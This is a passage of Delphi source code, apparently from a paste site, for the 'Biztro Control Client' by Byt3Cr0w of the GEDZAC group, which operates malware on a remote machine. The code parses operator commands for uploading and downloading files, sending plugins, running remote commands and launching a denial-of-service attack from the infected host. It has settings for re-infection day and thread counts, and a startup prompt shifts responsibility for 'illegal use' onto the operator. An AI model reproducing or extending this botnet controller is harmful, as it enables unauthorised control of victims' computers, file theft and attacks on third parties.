  828.    if ComboBox1.Text = 'Re-Infection Day' then
  829.    try a:=StrToInt(Edit3.Text); except MsgX('Error: The Re-Infection date must be a valid number.'); exit; end;
  830.    if ComboBox1.Text = 'Cmd Status' then
  831.    if b<>'enable' then if b<>'disable' then begin MsgX('Error: The Cmd Status must be one of these:'+sp+' -Enable'+sp+' -Disable'); exit; end;
  832.    if ComboBox1.Text = 'Max Threads' then
  833.    try a:=StrToInt(Edit3.Text); except MsgX('Error: The Max Threads must be a valid number.'); exit; end;
  834.    /////////////**** If we are on these point that means = Everything is OK  ****/////////
  835.    if ComboBox1.Text = 'Re-Infection Day' then BioChange(b,1);
  836.    if ComboBox1.Text = 'Cmd Status' then BioChange(b,2);
  837.    if ComboBox1.Text = 'Max Threads' then BioChange(b,3);
  838.    end;
  839.  
  840.    procedure TSplash.Sund;
  841.    var a,b:string;
  842.    label go;
  843.    begin
  844.    a := LowerCase(Edit1.Text);
  845.    b:=a;
  846.    Delete(b,1,4);
  847.    if Pos('upload',a)>0 then goto go;
  848.    if Pos('uploadex',a)>0 then goto go;
  849.    if Pos('download',a)>0 then goto go;
  850.    if Pos('dos',a)>0 then goto go;
  851.    if Pos('dosx',a)>0 then goto go;
  852.    if Pos('plugin',a)>0 then goto go;
  853.    if Pos('/',a)>0 then goto go;
  854.    error(2);
  855.    exit;
  856.    go:
  857.    If Pos('/',a)>0 then begin SendComm(a); exit; end;
  858.    If Pos('ex',a)>0 then begin Upload2(a); exit; end;
  859.    If Pos('up',a)>0 then Upload(a);
  860.    If Pos('download',a)>0 then download(a);
  861.    If Pos('dos',a)>0 then begin Sendx('D*Z'+b+sp); Memo2.Text:=Memo2.Text +sp+'The Dos request was sended'+sp; Splash.Update; closesocket(Zock); Memo2.Text := Memo2.Text + 'Biztro is now totally dedicated to the DoS Attack, you have to wait for the Restart of the Remote machine to be able to connect again to '+rip+sp; Disconnect; end;
  862.    If Pos('plugin',a)>0 then SendPlugin(a);
  863.    end;
  864.  
  865.    procedure TSplash.SpeedButton1Click(Sender: TObject);
  866.    begin
  867.    Sund;
  868.    Edit1.Clear;
  869.    end;
  870.  
  871.    procedure TSplash.SpeedButton12Click(Sender: TObject);
  872.    begin
  873.    Memo2.Text := Memo2.Text + Comlist;
  874.    end;
  875.  
  876.    procedure TSplash.SpeedButton9Click(Sender: TObject);
  877.    begin
  878.    Memo2.Clear;
  879.    Memo2.Text := COMLIST;
  880.    end;
  881.  
  882.  
  883.    procedure TSplash.SpeedButton11Click(Sender: TObject);
  884.    begin
  885.    ShellExecute(0,nil,pchar('http://www.gedzac.tk'),'','',SW_SHOWNORMAL);
  886.    end;
  887.  
  888.    procedure About;
  889.    begin
  890.    MsgX('Biztro Control Client - Coded & Designed by Byt3Cr0w/GEDZAC'+sp+'Greedz/Thnx to:'+sp+' - All Gedzac Members'+sp+' - Falckon/DCA'+sp+' - BlackRose =)'+sp+' - Sickbyte & Backus from PrimateLost'+sp+'And all the ppl that i forget...:)'+sp+'http://www.gedzac.tk');
  891.    end;
  892.  
  893.    procedure TSplash.SpeedButton10Click(Sender: TObject);
  894.    begin
  895.    About;
  896.    end;
  897.  
  898.    procedure TSplash.SpeedButton8Click(Sender: TObject);
  899.    begin
  900.    ShellExecute(0,nil,pchar('mailto:byt3cr0w@gedzac.zzn.com'),'','',SW_SHOWNORMAL);
  901.    end;
  902.  
  903.    procedure TSplash.Edit1KeyDown(Sender: TObject; var Key: Word;
  904.      Shift: TShiftState);
  905.    begin
  906.    if Key = VK_Return then begin Sund; Edit1.Clear; end;
  907.    end;
  908.  
  909.    procedure TSplash.SpeedButton13Click(Sender: TObject);
  910.    begin
  911.    Memo2.Clear;
  912.    end;
  913.  
  914.    procedure TSplash.FormClose(Sender: TObject; var Action: TCloseAction);
  915.    begin
  916.    About;
  917.    end;
  918.  
  919.    procedure TSplash.Image9Click(Sender: TObject);
  920.    begin
  921.    ShellExecute(0,nil,pchar('http://www.gedzac.tk'),'','',SW_SHOWNORMAL);
  922.    end;
  923.  
  924.    procedure TSplash.FormCreate(Sender: TObject);
  925.    var bit:integer;
  926.    begin
  927.    Bit := Application.MessageBox ('Español: Al oprimir el botón SI/YES TU te estas haciendo responsable de todos'+sp+'los daños ocasionados por el uso indebido de este programa.'+sp+sp+'English: If you press the YES button YOU will have all the Responsibility of the illegal use of this program.'+sp+sp+'Byt3Cr0w/GEDZAC','Biztro Control Client',MB_YESNO+MB_ICONINFORMATION);
  928.       If Bit = ID_NO Then
  929.       begin
  930.       About;
  931.       exitprocess(0);
  932.      end;
  933.  
  934.    end;
  935.  
  936.    procedure TSplash.Edit2KeyDown(Sender: TObject; var Key: Word;
  937.      Shift: TShiftState);
  938.    begin
  939.    if Key = VK_Return then ConProg;
  940.    end;
  941.  
  942.    end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement